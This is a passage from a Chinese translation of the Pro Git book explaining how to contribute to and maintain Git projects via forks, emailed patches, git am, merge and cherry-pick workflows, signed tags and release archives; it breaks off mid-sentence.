在特性分支中提交更新后的提交历史\n\n现在，Jessica，Josie 和 John 通知集成管理员服务器上的 `featureA` 及 `featureBee` 分支已经准备好，可以并入主线了。在管理员完成集成工作后，主分支上便多出一个新的合并提交（5399e），用 fetch 命令更新到本地后，提交历史如图 5-14 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0514-tn.png)\n图 5-14. 合并特性分支后的 Jessica 提交历史\n\n许多开发小组改用 Git 就是因为它允许多个小组间并行工作，而在稍后恰当时机再行合并。通过共享远程分支的方式，无需干扰整体项目代码便可以开展工作，因此使用 Git 的小型团队间协作可以变得非常灵活自由。以上工作流程的时序如图 5-15 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0515-tn.png)\n图 5-15. 团队间协作工作流程基本时序\n\n### 公开的小型项目\n\n上面说的是私有项目协作，但要给公开项目作贡献，情况就有些不同了。因为你没有直接更新主仓库分支的权限，得寻求其它方式把工作成果交给项目维护人。下面会介绍两种方法，第一种使用 git 托管服务商提供的仓库复制功能，一般称作 fork，比如 repo.or.cz 和 GitHub 都支持这样的操作，而且许多项目管理员都希望大家使用这样的方式。另一种方法是通过电子邮件寄送文件补丁。\n\n但不管哪种方式，起先我们总需要克隆原始仓库，而后创建特性分支开展工作。基本工作流程如下：\n\n```\n$ git clone (url)\n$ cd project\n$ git checkout -b featureA\n$ (work)\n$ git commit\n$ (work)\n$ git commit\n```\n\n你可能想到用 `rebase -i` 将所有更新先变作单个提交，又或者想重新安排提交之间的差异补丁，以方便项目维护者审阅 -- 有关交互式衍合操作的细节见第六章。\n\n在完成了特性分支开发，提交给项目维护者之前，先到原始项目的页面上点击“Fork”按钮，创建一个自己可写的公共仓库（译注：即下面的 url 部分，参照后续的例子，应该是 `git://githost/simplegit.git`）。然后将此仓库添加为本地的第二个远端仓库，姑且称为 `myfork`：\n\n```\n$ git remote add myfork (url)\n```\n\n你需要将本地更新推送到这个仓库。要是将远端 master 合并到本地再推回去，还不如把整个特性分支推上去来得干脆直接。而且，假若项目维护者未采纳你的贡献的话（不管是直接合并还是 cherry pick），都不用回退（rewind）自己的 master 分支。但若维护者合并或 cherry-pick 了你的工作，最后总还可以从他们的更新中同步这些代码。好吧，现在先把 featureA 分支整个推上去：\n\n```\n$ git push myfork featureA\n```\n\n然后通知项目管理员，让他来抓取你的代码。通常我们把这件事叫做 pull request。可以直接用 GitHub 等网站提供的 “pull request” 按钮自动发送请求通知；或手工把 `git request-pull` 命令输出结果电邮给项目管理员。\n\n`request-pull` 命令接受两个参数，第一个是本地特性分支开始前的原始分支，第二个是请求对方来抓取的 Git 仓库 URL（译注：即下面 `myfork` 所指的，自己可写的公共仓库）。比如现在Jessica 准备要给 John 发一个 pull requst，她之前在自己的特性分支上提交了两次更新，并把分支整个推到了服务器上，所以运行该命令会看到：\n\n```\n$ git request-pull origin/master myfork\nThe following changes since commit 1edee6b1d61823a2de3b09c160d7080b8d1b3a40:\n  John Smith (1):\n        added a new function\n\nare available in the git repository at:\n\n  git://githost/simplegit.git featureA\n\nJessica Smith (2):\n      add limit to log function\n      change log output to 30 from 25\n\n lib/simplegit.rb |   10 +++++++++-\n 1 files changed, 9 insertions(+), 1 deletions(-)\n```\n\n输出的内容可以直接发邮件给管理者，他们就会明白这是从哪次提交开始旁支出去的，该到哪里去抓取新的代码，以及新的代码增加了哪些功能等等。\n\n像这样随时保持自己的 `master` 分支和官方 `origin/master` 同步，并将自己的工作限制在特性分支上的做法，既方便又灵活，采纳和丢弃都轻而易举。就算原始主干发生变化，我们也能重新衍合提供新的补丁。比如现在要开始第二项特性的开发，不要在原来已推送的特性分支上继续，还是按原始 `master` 开始：\n\n```\n$ git checkout -b featureB origin/master\n$ (work)\n$ git commit\n$ git push myfork featureB\n$ (email maintainer)\n$ git fetch origin\n```\n\n现在，A、B 两个特性分支各不相扰，如同竹筒里的两颗豆子，队列中的两个补丁，你随时都可以分别从头写过，或者衍合，或者修改，而不用担心特性代码的交叉混杂。如图 5-16 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0516-tn.png)\n图 5-16. featureB 以后的提交历史\n\n假设项目管理员接纳了许多别人提交的补丁后，准备要采纳你提交的第一个分支，却发现因为代码基准不一致，合并工作无法正确干净地完成。这就需要你再次衍合到最新的 `origin/master`，解决相关冲突，然后重新提交你的修改：\n\n```\n$ git checkout featureA\n$ git rebase origin/master\n$ git push -f myfork featureA\n```\n\n自然，这会重写提交历史，如图 5-17 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0517-tn.png)\n图 5-17. featureA 重新衍合后的提交历史\n\n注意，此时推送分支必须使用 `-f` 选项（译注：表示 force，不作检查强制重写）替换远程已有的 `featureA` 分支，因为新的 commit 并非原来的后续更新。当然你也可以直接推送到另一个新的分支上去，比如称作 `featureAv2`。\n\n再考虑另一种情形：管理员看过第二个分支后觉得思路新颖，但想请你改下具体实现。我们只需以当前 `origin/master` 分支为基准，开始一个新的特性分支 `featureBv2`，然后把原来的 `featureB` 的更新拿过来，解决冲突，按要求重新实现部分代码，然后将此特性分支推送上去：\n\n```\n$ git checkout -b featureBv2 origin/master\n$ git merge --no-commit --squash featureB\n$ (change implementation)\n$ git commit\n$ git push myfork featureBv2\n```\n\n这里的 `--squash` 选项将目标分支上的所有更改全拿来应用到当前分支上，而 `--no-commit` 选项告诉 Git 此时无需自动生成和记录（合并）提交。这样，你就可以在原来代码基础上，继续工作，直到最后一起提交。\n\n好了，现在可以请管理员抓取 `featureBv2` 上的最新代码了，如图 5-18 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0518-tn.png)\n图 5-18. featureBv2 之后的提交历史\n\n### 公开的大型项目\n\n许多大型项目都会立有一套自己的接受补丁流程，你应该注意下其中细节。但多数项目都允许通过开发者邮件列表接受补丁，现在我们来看具体例子。\n\n整个工作流程类似上面的情形：为每个补丁创建独立的特性分支，而不同之处在于如何提交这些补丁。不需要创建自己可写的公共仓库，也不用将自己的更新推送到自己的服务器，你只需将每次提交的差异内容以电子邮件的方式依次发送到邮件列表中即可。\n\n```\n$ git checkout -b topicA\n$ (work)\n$ git commit\n$ (work)\n$ git commit\n```\n\n如此一番后，有了两个提交要发到邮件列表。我们可以用 `git format-patch` 命令来生成 mbox 格式的文件然后作为附件发送。每个提交都会封装为一个 `.patch` 后缀的 mbox 文件，但其中只包含一封邮件，邮件标题就是提交消息（译注：额外有前缀，看例子），邮件内容包含补丁正文和 Git 版本号。这种方式的妙处在于接受补丁时仍可保留原来的提交消息，请看接下来的例子：\n\n```\n$ git format-patch -M origin/master\n0001-add-limit-to-log-function.patch\n0002-changed-log-output-to-30-from-25.patch\n```\n\n`format-patch` 命令依次创建补丁文件，并输出文件名。上面的 `-M` 选项允许 Git 检查是否有对文件重命名的提交。我们来看看补丁文件的内容：\n\n```\n$ cat 0001-add-limit-to-log-function.patch\nFrom 330090432754092d704da8e76ca5c05c198e71a8 Mon Sep 17 00:00:00 2001\nFrom: Jessica Smith <jessica@example.com>\nDate: Sun, 6 Apr 2008 10:17:23 -0700\nSubject: [PATCH 1/2] add limit to log function\n\nLimit log functionality to the first 20\n\n---\n lib/simplegit.rb |    2 +-\n 1 files changed, 1 insertions(+), 1 deletions(-)\n\ndiff --git a/lib/simplegit.rb b/lib/simplegit.rb\nindex 76f47bc..f9815f1 100644\n--- a/lib/simplegit.rb\n+++ b/lib/simplegit.rb\n@@ -14,7 +14,7 @@ class SimpleGit\n   end\n\n   def log(treeish = 'master')\n-    command(\"git log #{treeish}\")\n+    command(\"git log -n 20 #{treeish}\")\n   end\n\n   def ls_tree(treeish = 'master')\n--\n1.6.2.rc1.20.g8c5b.dirty\n```\n\n如果有额外信息需要补充，但又不想放在提交消息中说明，可以编辑这些补丁文件，在第一个 `---` 行之前添加说明，但不要修改下面的补丁正文，比如例子中的 `Limit log functionality to the first 20` 部分。这样，其它开发者能阅读，但在采纳补丁时不会将此合并进来。\n\n你可以用邮件客户端软件发送这些补丁文件，也可以直接在命令行发送。有些所谓智能的邮件客户端软件会自作主张帮你调整格式，所以粘贴补丁到邮件正文时，有可能会丢失换行符和若干空格。Git 提供了一个通过 IMAP 发送补丁文件的工具。接下来我会演示如何通过 Gmail 的 IMAP 服务器发送。另外，在 Git 源代码中有个 `Documentation/SubmittingPatches` 文件，可以仔细读读，看看其它邮件程序的相关导引。\n\n首先在 `~/.gitconfig` 文件中配置 imap 项。每个选项都可用 `git config` 命令分别设置，当然直接编辑文件添加以下内容更便捷：\n\n```\n[imap]\n  folder = \"[Gmail]/Drafts\"\n  host = imaps://imap.gmail.com\n  user = user@gmail.com\n  pass = p4ssw0rd\n  port = 993\n  sslverify = false\n```\n\n如果你的 IMAP 服务器没有启用 SSL，就无需配置最后那两行，并且 host 应该以 `imap://` 开头而不再是有 `s` 的 `imaps://`。 保存配置文件后，就能用 `git send-email` 命令把补丁作为邮件依次发送到指定的 IMAP 服务器上的文件夹中（译注：这里就是 Gmail 的 `[Gmail]/Drafts` 文件夹。但如果你的语言设置不是英文，此处的文件夹 Drafts 字样会变为对应的语言。）：\n\n```\n$ cat *.patch |git imap-send\nResolving imap.gmail.com... ok\nConnecting to [74.125.142.109]:993... ok\nLogging in...\nsending 2 messages\n100% (2/2) done\n```\n\n然后，你应该去你到草稿箱去更改你要发送的补丁的收件人信息，以及需要抄送的人，然后发送它。\n\n您也可以通过SMTP服务器发送补丁。和上面一样，你可以通过`git config`命令单独设置每个参数，也可以在你的`~/.gitconfig`文件中的sendemail节点手动添加它们。\n\n```\n[sendemail]\n  smtpencryption = tls\n  smtpserver = smtp.gmail.com\n  smtpuser = user@gmail.com\n  smtpserverport = 587\n```\n\n配置完成后，您可以使用`git send-email`来发送你的补丁：\n\n```\n$ git send-email *.patch\n0001-added-limit-to-log-function.patch\n0002-changed-log-output-to-30-from-25.patch\nWho should the emails appear to be from? [Jessica Smith <jessica@example.com>]\nEmails will be sent from: Jessica Smith <jessica@example.com>\nWho should the emails be sent to? jessica@example.com\nMessage-ID to be used as In-Reply-To for the first email? y\n```\n\n接下来，Git 会根据每个补丁依次输出类似下面的日志：\n\n```\n(mbox) Adding cc: Jessica Smith <jessica@example.com> from\n  \\line 'From: Jessica Smith <jessica@example.com>'\nOK. Log says:\nSendmail: /usr/sbin/sendmail -i jessica@example.com\nFrom: Jessica Smith <jessica@example.com>\nTo: jessica@example.com\nSubject: [PATCH 1/2] added limit to log function\nDate: Sat, 30 May 2009 13:29:15 -0700\nMessage-Id: <1243715356-61726-1-git-send-email-jessica@example.com>\nX-Mailer: git-send-email 1.6.2.rc1.20.g8c5b.dirty\nIn-Reply-To: <y>\nReferences: <y>\n\nResult: OK\n```\n\n\n\n\n\n## 项目的管理\n\n既然是相互协作，在贡献代码的同时，也免不了要维护管理自己的项目。像是怎么处理别人用 `format-patch` 生成的补丁，或是集成远端仓库上某个分支上的变化等等。但无论是管理代码仓库，还是帮忙审核收到的补丁，都需要同贡献者约定某种长期可持续的工作方式。\n\n### 使用特性分支进行工作\n\n如果想要集成新的代码进来，最好局限在特性分支上做。临时的特性分支可以让你随意尝试，进退自如。比如碰上无法正常工作的补丁，可以先搁在那边，直到有时间仔细核查修复为止。创建的分支可以用相关的主题关键字命名，比如 `ruby_client` 或者其它类似的描述性词语，以帮助将来回忆。Git 项目本身还时常把分支名称分置于不同命名空间下，比如 `sc/ruby_client` 就说明这是 `sc` 这个人贡献的。 现在从当前主干分支为基础，新建临时分支：\n\n```\n$ git branch sc/ruby_client master\n```\n\n另外，如果你希望立即转到分支上去工作，可以用 `checkout -b`：\n\n```\n$ git checkout -b sc/ruby_client master\n```\n\n好了，现在已经准备妥当，可以试着将别人贡献的代码合并进来了。之后评估一下有没有问题，最后再决定是不是真的要并入主干。\n\n### 采纳来自邮件的补丁\n\n如果收到一个通过电邮发来的补丁，你应该先把它应用到特性分支上进行评估。有两种应用补丁的方法：`git apply` 或者 `git am`。\n\n#### 使用 apply 命令应用补丁\n\n如果收到的补丁文件是用 `git diff` 或由其它 Unix 的 `diff` 命令生成，就该用 `git apply` 命令来应用补丁。假设补丁文件存在 `/tmp/patch-ruby-client.patch`，可以这样运行：\n\n```\n$ git apply /tmp/patch-ruby-client.patch\n```\n\n这会修改当前工作目录下的文件，效果基本与运行 `patch -p1` 打补丁一样，但它更为严格，且不会出现混乱。如果是 `git diff` 格式描述的补丁，此命令还会相应地添加，删除，重命名文件。当然，普通的 `patch` 命令是不会这么做的。另外请注意，`git apply` 是一个事务性操作的命令，也就是说，要么所有补丁都打上去，要么全部放弃。所以不会出现 `patch` 命令那样，一部分文件打上了补丁而另一部分却没有，这样一种不上不下的修订状态。所以总的来说，`git apply` 要比 `patch` 严谨许多。因为仅仅是更新当前的文件，所以此命令不会自动生成提交对象，你得手工缓存相应文件的更新状态并执行提交命令。\n\n在实际打补丁之前，可以先用 `git apply --check` 查看补丁是否能够干净顺利地应用到当前分支中：\n\n```\n$ git apply --check 0001-seeing-if-this-helps-the-gem.patch\nerror: patch failed: ticgit.gemspec:1\nerror: ticgit.gemspec: patch does not apply\n```\n\n如果没有任何输出，表示我们可以顺利采纳该补丁。如果有问题，除了报告错误信息之外，该命令还会返回一个非零的状态，所以在 shell 脚本里可用于检测状态。\n\n#### 使用 am 命令应用补丁\n\n如果贡献者也用 Git，且擅于制作 `format-patch` 补丁，那你的合并工作将会非常轻松。因为这些补丁中除了文件内容差异外，还包含了作者信息和提交消息。所以请鼓励贡献者用 `format-patch` 生成补丁。对于传统的 `diff`命令生成的补丁，则只能用 `git apply` 处理。\n\n对于 `format-patch` 制作的新式补丁，应当使用 `git am` 命令。从技术上来说，`git am` 能够读取 mbox 格式的文件。这是种简单的纯文本文件，可以包含多封电邮，格式上用 From 加空格以及随便什么辅助信息所组成的行作为分隔行，以区分每封邮件，就像这样：\n\n```\nFrom 330090432754092d704da8e76ca5c05c198e71a8 Mon Sep 17 00:00:00 2001\nFrom: Jessica Smith <jessica@example.com>\nDate: Sun, 6 Apr 2008 10:17:23 -0700\nSubject: [PATCH 1/2] add limit to log function\n\nLimit log functionality to the first 20\n```\n\n这是 `format-patch` 命令输出的开头几行，也是一个有效的 mbox 文件格式。如果有人用 `git send-email` 给你发了一个补丁，你可以将此邮件下载到本地，然后运行 `git am` 命令来应用这个补丁。如果你的邮件客户端能将多封电邮导出为 mbox 格式的文件，就可以用 `git am` 一次性应用所有导出的补丁。\n\n如果贡献者将 `format-patch` 生成的补丁文件上传到类似 Request Ticket 一样的任务处理系统，那么可以先下载到本地，继而使用 `git am` 应用该补丁：\n\n```\n$ git am 0001-limit-log-function.patch\nApplying: add limit to log function\n```\n\n你会看到它被干净地应用到本地分支，并自动创建了新的提交对象。作者信息取自邮件头 `From` 和 `Date`，提交消息则取自 `Subject` 以及正文中补丁之前的内容。来看具体实例，采纳之前展示的那个 mbox 电邮补丁后，最新的提交对象为：\n\n```\n$ git log --pretty=fuller -1\ncommit 6c5e70b984a60b3cecd395edd5b48a7575bf58e0\nAuthor:     Jessica Smith <jessica@example.com>\nAuthorDate: Sun Apr 6 10:17:23 2008 -0700\nCommit:     Scott Chacon <schacon@gmail.com>\nCommitDate: Thu Apr 9 09:19:06 2009 -0700\n\n   add limit to log function\n\n   Limit log functionality to the first 20\n```\n\n`Commit` 部分显示的是采纳补丁的人，以及采纳的时间。而 `Author` 部分则显示的是原作者，以及创建补丁的时间。\n\n有时，我们也会遇到打不上补丁的情况。这多半是因为主干分支和补丁的基础分支相差太远，但也可能是因为某些依赖补丁还未应用。这种情况下，`git am` 会报错并询问该怎么做：\n\n```\n$ git am 0001-seeing-if-this-helps-the-gem.patch\nApplying: seeing if this helps the gem\nerror: patch failed: ticgit.gemspec:1\nerror: ticgit.gemspec: patch does not apply\nPatch failed at 0001.\nWhen you have resolved this problem run \"git am --resolved\".\nIf you would prefer to skip this patch, instead run \"git am --skip\".\nTo restore the original branch and stop patching run \"git am --abort\".\n```\n\nGit 会在有冲突的文件里加入冲突解决标记，这同合并或衍合操作一样。解决的办法也一样，先编辑文件消除冲突，然后暂存文件，最后运行 `git am --resolved` 提交修正结果：\n\n```\n$ (fix the file)\n$ git add ticgit.gemspec\n$ git am --resolved\nApplying: seeing if this helps the gem\n```\n\n如果想让 Git 更智能地处理冲突，可以用 `-3` 选项进行三方合并。如果当前分支未包含该补丁的基础代码或其祖先，那么三方合并就会失败，所以该选项默认为关闭状态。一般来说，如果该补丁是基于某个公开的提交制作而成的话，你总是可以通过同步来获取这个共同祖先，所以用三方合并选项可以解决很多麻烦：\n\n```\n$ git am -3 0001-seeing-if-this-helps-the-gem.patch\nApplying: seeing if this helps the gem\nerror: patch failed: ticgit.gemspec:1\nerror: ticgit.gemspec: patch does not apply\nUsing index info to reconstruct a base tree...\nFalling back to patching base and 3-way merge...\nNo changes -- Patch already applied.\n```\n\n像上面的例子，对于打过的补丁我又再打一遍，自然会产生冲突，但因为加上了 `-3` 选项，所以它很聪明地告诉我，无需更新，原有的补丁已经应用。\n\n对于一次应用多个补丁时所用的 mbox 格式文件，可以用 `am` 命令的交互模式选项 `-i`，这样就会在打每个补丁前停住，询问该如何操作：\n\n```\n$ git am -3 -i mbox\nCommit Body is:\n--------------------------\nseeing if this helps the gem\n--------------------------\nApply? [y]es/[n]o/[e]dit/[v]iew patch/[a]ccept all\n```\n\n在多个补丁要打的情况下，这是个非常好的办法，一方面可以预览下补丁内容，同时也可以有选择性的接纳或跳过某些补丁。\n\n打完所有补丁后，如果测试下来新特性可以正常工作，那就可以安心地将当前特性分支合并到长期分支中去了。\n\n### 检出远程分支\n\n如果贡献者有自己的 Git 仓库，并将修改推送到此仓库中，那么当你拿到仓库的访问地址和对应分支的名称后，就可以加为远程分支，然后在本地进行合并。\n\n比如，Jessica 发来一封邮件，说在她代码库中的 `ruby-client` 分支上已经实现了某个非常棒的新功能，希望我们能帮忙测试一下。我们可以先把她的仓库加为远程仓库，然后抓取数据，完了再将她所说的分支检出到本地来测试：\n\n```\n$ git remote add jessica git://github.com/jessica/myproject.git\n$ git fetch jessica\n$ git checkout -b rubyclient jessica/ruby-client\n```\n\n若是不久她又发来邮件，说还有个很棒的功能实现在另一分支上，那我们只需重新抓取下最新数据，然后检出那个分支到本地就可以了，无需重复设置远程仓库。\n\n这种做法便于同别人保持长期的合作关系。但前提是要求贡献者有自己的服务器，而我们也需要为每个人建一个远程分支。有些贡献者提交代码补丁并不是很频繁，所以通过邮件接收补丁效率会更高。同时我们自己也不会希望建上百来个分支，却只从每个分支取一两个补丁。但若是用脚本程序来管理，或直接使用代码仓库托管服务，就可以简化此过程。当然，选择何种方式取决于你和贡献者的喜好。\n\n使用远程分支的另外一个好处是能够得到提交历史。不管代码合并是不是会有问题，至少我们知道该分支的历史分叉点，所以默认会从共同祖先开始自动进行三方合并，无需 `-3` 选项，也不用像打补丁那样祈祷存在共同的基准点。\n\n如果只是临时合作，只需用 `git pull` 命令抓取远程仓库上的数据，合并到本地临时分支就可以了。一次性的抓取动作自然不会把该仓库地址加为远程仓库。\n\n```\n$ git pull git://github.com/onetimeguy/project.git\nFrom git://github.com/onetimeguy/project\n * branch            HEAD       -> FETCH_HEAD\nMerge made by recursive.\n```\n\n### 决断代码取舍\n\n现在特性分支上已合并好了贡献者的代码，是时候决断取舍了。本节将回顾一些之前学过的命令，以看清将要合并到主干的是哪些代码，从而理解它们到底做了些什么，是否真的要并入。\n\n一般我们会先看下，特性分支上都有哪些新增的提交。比如在 `contrib` 特性分支上打了两个补丁，仅查看这两个补丁的提交信息，可以用 `--not` 选项指定要屏蔽的分支 `master`，这样就会剔除重复的提交历史：\n\n```\n$ git log contrib --not master\ncommit 5b6235bd297351589efc4d73316f0a68d484f118\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Fri Oct 24 09:53:59 2008 -0700\n\n    seeing if this helps the gem\n\ncommit 7482e0d16d04bea79d0dba8988cc78df655f16a0\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Mon Oct 22 19:38:36 2008 -0700\n\n    updated the gemspec to hopefully work better\n```\n\n还可以查看每次提交的具体修改。请牢记，在 `git log` 后加 `-p` 选项将展示每次提交的内容差异。\n\n如果想看当前分支同其他分支合并时的完整内容差异，有个小窍门：\n\n```\n$ git diff master\n```\n\n虽然能得到差异内容，但请记住，结果有可能和我们的预期不同。一旦主干 `master` 在特性分支创建之后有所修改，那么通过 `diff` 命令来比较的，是最新主干上的提交快照。显然，这不是我们所要的。比方在 `master` 分支中某个文件里添了一行，然后运行上面的命令，简单的比较最新快照所得到的结论只能是，特性分支中删除了这一行。\n\n这个很好理解：如果 `master` 是特性分支的直接祖先，不会产生任何问题；如果它们的提交历史在不同的分叉上，那么产生的内容差异，看起来就像是增加了特性分支上的新代码，同时删除了 `master` 分支上的新代码。\n\n实际上我们真正想要看的，是新加入到特性分支的代码，也就是合并时会并入主干的代码。所以，准确地讲，我们应该比较特性分支和它同 `master` 分支的共同祖先之间的差异。\n\n我们可以手工定位它们的共同祖先，然后与之比较：\n\n```\n$ git merge-base contrib master\n36c7dba2c95e6bbb78dfa822519ecfec6e1ca649\n$ git diff 36c7db\n```\n\n但这么做很麻烦，所以 Git 提供了便捷的 `...` 语法。对于 `diff` 命令，可以把 `...` 加在原始分支（拥有共同祖先）和当前分支之间：\n\n```\n$ git diff master...contrib\n```\n\n现在看到的，就是实际将要引入的新代码。这是一个非常有用的命令，应该牢记。\n\n### 代码集成\n\n一旦特性分支准备停当，接下来的问题就是如何集成到更靠近主线的分支中。此外还要考虑维护项目的总体步骤是什么。虽然有很多选择，不过我们这里只介绍其中一部分。\n\n#### 合并流程\n\n一般最简单的情形，是在 `master` 分支中维护稳定代码，然后在特性分支上开发新功能，或是审核测试别人贡献的代码，接着将它并入主干，最后删除这个特性分支，如此反复。来看示例，假设当前代码库中有两个分支，分别为 `ruby_client` 和 `php_client`，如图 5-19 所示。然后先把 `ruby_client` 合并进主干，再合并 `php_client`，最后的提交历史如图 5-20 所示。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0519-tn.png)\n图 5-19. 多个特性分支\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0520-tn.png)\n图 5-20. 合并特性分支之后\n\n这是最简单的流程，所以在处理大一些的项目时可能会有问题。\n\n对于大型项目，至少需要维护两个长期分支 `master` 和 `develop`。新代码（图 5-21 中的 `ruby_client`）将首先并入 `develop` 分支（图 5-22 中的 `C8`），经过一个阶段，确认 `develop` 中的代码已稳定到可发行时，再将 `master` 分支快进到稳定点（图 5-23 中的 `C8`）。而平时这两个分支都会被推送到公开的代码库。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0521-tn.png)\n图 5-21. 特性分支合并前\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0522-tn.png)\n图 5-22. 特性分支合并后\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0523-tn.png)\n图 5-23. 特性分支发布后\n\n这样，在人们克隆仓库时就有两种选择：既可检出最新稳定版本，确保正常使用；也能检出开发版本，试用最前沿的新特性。 你也可以扩展这个概念，先将所有新代码合并到临时特性分支，等到该分支稳定下来并通过测试后，再并入 `develop` 分支。然后，让时间检验一切，如果这些代码确实可以正常工作相当长一段时间，那就有理由相信它已经足够稳定，可以放心并入主干分支发布。\n\n#### 大项目的合并流程\n\nGit 项目本身有四个长期分支：用于发布的 `master` 分支、用于合并基本稳定特性的 `next` 分支、用于合并仍需改进特性的 `pu` 分支（pu 是 proposed updates 的缩写），以及用于除错维护的 `maint` 分支（maint 取自 maintenance）。维护者可以按照之前介绍的方法，将贡献者的代码引入为不同的特性分支（如图 5-24 所示），然后测试评估，看哪些特性能稳定工作，哪些还需改进。稳定的特性可以并入 `next` 分支，然后再推送到公共仓库，以供其他人试用。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0524-tn.png)\n图 5-24. 管理复杂的并行贡献\n\n仍需改进的特性可以先并入 `pu` 分支。直到它们完全稳定后再并入 `master`。同时一并检查下 `next` 分支，将足够稳定的特性也并入 `master`。所以一般来说，`master` 始终是在快进，`next` 偶尔做下衍合，而 `pu` 则是频繁衍合，如图 5-25 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0525-tn.png)\n图 5-25. 将特性并入长期分支\n\n并入 `master` 后的特性分支，已经无需保留分支索引，放心删除好了。Git 项目还有一个 `maint` 分支，它是以最近一次发行版为基础分化而来的，用于维护除错补丁。所以克隆 Git 项目仓库后会得到这四个分支，通过检出不同分支可以了解各自进展，或是试用前沿特性，或是贡献代码。而维护者则通过管理这些分支，逐步有序地并入第三方贡献。\n\n#### 衍合与挑拣（cherry-pick）的流程\n\n一些维护者更喜欢衍合或者挑拣贡献者的代码，而不是简单的合并，因为这样能够保持线性的提交历史。如果你完成了一个特性的开发，并决定将它引入到主干代码中，你可以转到那个特性分支然后执行衍合命令，好在你的主干分支上（也可能是`develop`分支之类的）重新提交这些修改。如果这些代码工作得很好，你就可以快进`master`分支，得到一个线性的提交历史。\n\n另一个引入代码的方法是挑拣。挑拣类似于针对某次特定提交的衍合。它首先提取某次提交的补丁，然后试着应用在当前分支上。如果某个特性分支上有多个commits，但你只想引入其中之一就可以使用这种方法。也可能仅仅是因为你喜欢用挑拣，讨厌衍合。假设你有一个类似图 5-26 的工程。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0526-tn.png)\n图 5-26. 挑拣（cherry-pick）之前的历史\n\n如果你希望拉取`e43a6`到你的主干分支，可以这样：\n\n```\n$ git cherry-pick e43a6fd3e94888d76779ad79fb568ed180e5fcdf\nFinished one cherry-pick.\n[master]: created a0a41a9: \"More friendly message when locking the index fails.\"\n 3 files changed, 17 insertions(+), 3 deletions(-)\n```\n\n这将会引入`e43a6`的代码，但是会得到不同的SHA-1值，因为应用日期不同。现在你的历史看起来像图 5-27.\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0527-tn.png)\n图 5-27. 挑拣（cherry-pick）之后的历史\n\n现在，你可以删除这个特性分支并丢弃你不想引入的那些commit。\n\n### 给发行版签名\n\n你可以删除上次发布的版本并重新打标签，也可以像第二章所说的那样建立一个新的标签。如果你决定以维护者的身份给发行版签名，应该这样做：\n\n```\n$ git tag -s v1.5 -m 'my signed 1.5 tag'\nYou need a passphrase to unlock the secret key for\nuser: \"Scott Chacon <schacon@gmail.com>\"\n1024-bit DSA key, ID F721C45A, created 2009-02-09\n```\n\n完成签名之后，如何分发PGP公钥（public key）是个问题。（译者注：分发公钥是为了验证标签）。还好，Git的设计者想到了解决办法：可以把key（即公钥）作为blob变量写入Git库，然后把它的内容直接写在标签里。`gpg --list-keys`命令可以显示出你所拥有的key：\n\n```\n$ gpg --list-keys\n/Users/schacon/.gnupg/pubring.gpg\n---------------------------------\npub   1024D/F721C45A 2009-02-09 [expires: 2010-02-09]\nuid                  Scott Chacon <schacon@gmail.com>\nsub   2048g/45D02282 2009-02-09 [expires: 2010-02-09]\n```\n\n然后，导出key的内容并经由管道符传递给`git hash-object`，之后钥匙会以blob类型写入Git中，最后返回这个blob量的SHA-1值：\n\n```\n$ gpg -a --export F721C45A | git hash-object -w --stdin\n659ef797d181633c87ec71ac3f9ba29fe5775b92\n```\n\n现在你的Git已经包含了这个key的内容了，可以通过不同的SHA-1值指定不同的key来创建标签。\n\n```\n$ git tag -a maintainer-pgp-pub 659ef797d181633c87ec71ac3f9ba29fe5775b92\n```\n\n在运行`git push --tags`命令之后，`maintainer-pgp-pub`标签就会公布给所有人。如果有人想要校验标签，他可以使用如下命令导入你的key：\n\n```\n$ git show maintainer-pgp-pub | gpg --import\n```\n\n人们可以用这个key校验你签名的所有标签。另外，你也可以在标签信息里写入一个操作向导，用户只需要运行`git show <tag>`查看标签信息，然后按照你的向导就能完成校验。\n\n### 生成内部版本号\n\n因为Git不会为每次提交自动附加类似'v123'的递增序列，所以如果你想要得到一个便于理解的提交号可以运行`git describe`命令。Git将会返回一个字符串，由三部分组成：最近一次标定的版本号，加上自那次标定之后的提交次数，再加上一段所描述的提交的SHA-1值：\n\n```\n$ git describe master\nv1.6.2-rc1-20-g8c5b85c\n```\n\n这个字符串可以作为快照的名字，方便人们理解。如果你的Git是你自己下载源码然后编译安装的，你会发现`git --version`命令的输出和这个字符串差不多。如果在一个刚刚打完标签的提交上运行`describe`命令，只会得到这次标定的版本号，而没有后面两项信息。\n\n`git describe`命令只适用于有标注的标签（通过`-a`或者`-s`选项创建的标签），所以发行版的标签都应该是带有标注的，以保证`git describe`能够正确的执行。你也可以把这个字符串作为`checkout`或者`show`命令的目标，因为他们最终都依赖于一个简短的SHA-1值，当然如果这个SHA-1值失效他们也跟着失效。最近Linux内核为了保证SHA-1值的唯一性，将位数由8位扩展到10位，这就导致扩展之前的`git describe`输出完全失效了。\n\n### 准备发布\n\n现在可以发布一个新的版本了。首先要将代码的压缩包归档，方便那些可怜的还没有使用Git的人们。可以使用`git archive`：\n\n```\n$ git archive master --prefix='project/' | gzip > `git describe master`.tar.gz\n$ ls *.tar.gz\nv1.6.2-rc1-20-g8c5b85c.tar.gz\n```\n\n这个压缩包解压出来的是一个文件夹，里面是你项目的最新代码快照。你也可以用类似的方法建立一个zip压缩包，在`git archive`加上`--format=zip`选项：\n\n```\n$ git archive master --prefix='project/' --format=zip > `git describe master`.zip\n```\n\n现在你有了一个tar.gz压缩包和一个zip压缩包，可以把他们上传到你网站上或者用e-mail发给别人。\n\n### 制作简报\n\n是时候通知邮件列表里的朋友们来检验你的成果了。使用`git 